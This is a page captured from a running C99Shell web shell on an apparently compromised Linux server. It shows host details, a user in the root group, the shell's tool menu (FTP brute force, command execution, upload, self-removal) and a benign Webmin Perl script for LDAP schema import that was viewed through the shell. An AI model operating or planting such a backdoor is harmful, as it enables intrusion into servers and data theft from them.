!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/ldap-server/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     import_sfile.cgi (1.67 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Import a schema file into the server

require './ldap-server-lib.pl';
&error_setup($text{'import_err'});
&local_ldap_server() == 1 || &error($text{'slapd_elocal'});
$access{'schema'} || &error($text{'schema_ecannot'});
&ReadParse();
&is_under_directory($config{'schema_dir'}, $in{'file'}) ||
    &error($text{'schema_edir'});
&has_command($config{'ldapadd'}) ||
    &error(&text('import_eldapadd', "<tt>$config{'ldapadd'}</tt>"));

# Get login credentials
$user = $config{'user'};
$pass = $config{'pass'};
if (&get_config_type() == 1) {
    my $conf = &get_config();
    $user ||= &find_value("rootdn", $conf);
    $pass ||= &find_value("rootpw", $conf);
    }
else {
    $defdb = &get_default_db();
    $conf = &get_ldif_config();
    $user ||= &find_ldif_value("olcRootDN", $conf, $defdb);
    $pass ||= &find_ldif_value("olcRootPW", $conf, $defdb);
    }
$user || &error($text{'import_euser'});

# Check that there's a corresponding LDIF file
$ldiffile = $in{'file'};
$ldiffile =~ s/\.schema$/.ldif/;
-r $ldiffile ||
    &error(&text('import_eldif', "<tt>".&html_escape($ldiffile)."</tt>"));

# Run the import command
$cmd = $config{'ldapadd'}.
       " -D ".quotemeta($user).
       " -w ".quotemeta($pass).
       " -H ldapi:///".
       " -Y external".
       " -f ".quotemeta($ldiffile);

&ui_print_unbuffered_header(undef, $text{'import_title'}, "");

print &text('import_doing', "<tt>".&html_escape($ldiffile)."</tt>"),"<p>\n";
print "<pre>\n";
&open_execute_command(CMD, $cmd, 2);
while(<CMD>) {
    print &html_escape($_);
    }
close(CMD);
print "</pre>\n";
if ($?) {
    print $text{'import_failed'},"<p>\n";
    }
else {
    print $text{'import_ok'},"<p>\n";
    }

&ui_print_footer("edit_schema.cgi", $text{'schema_return'});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--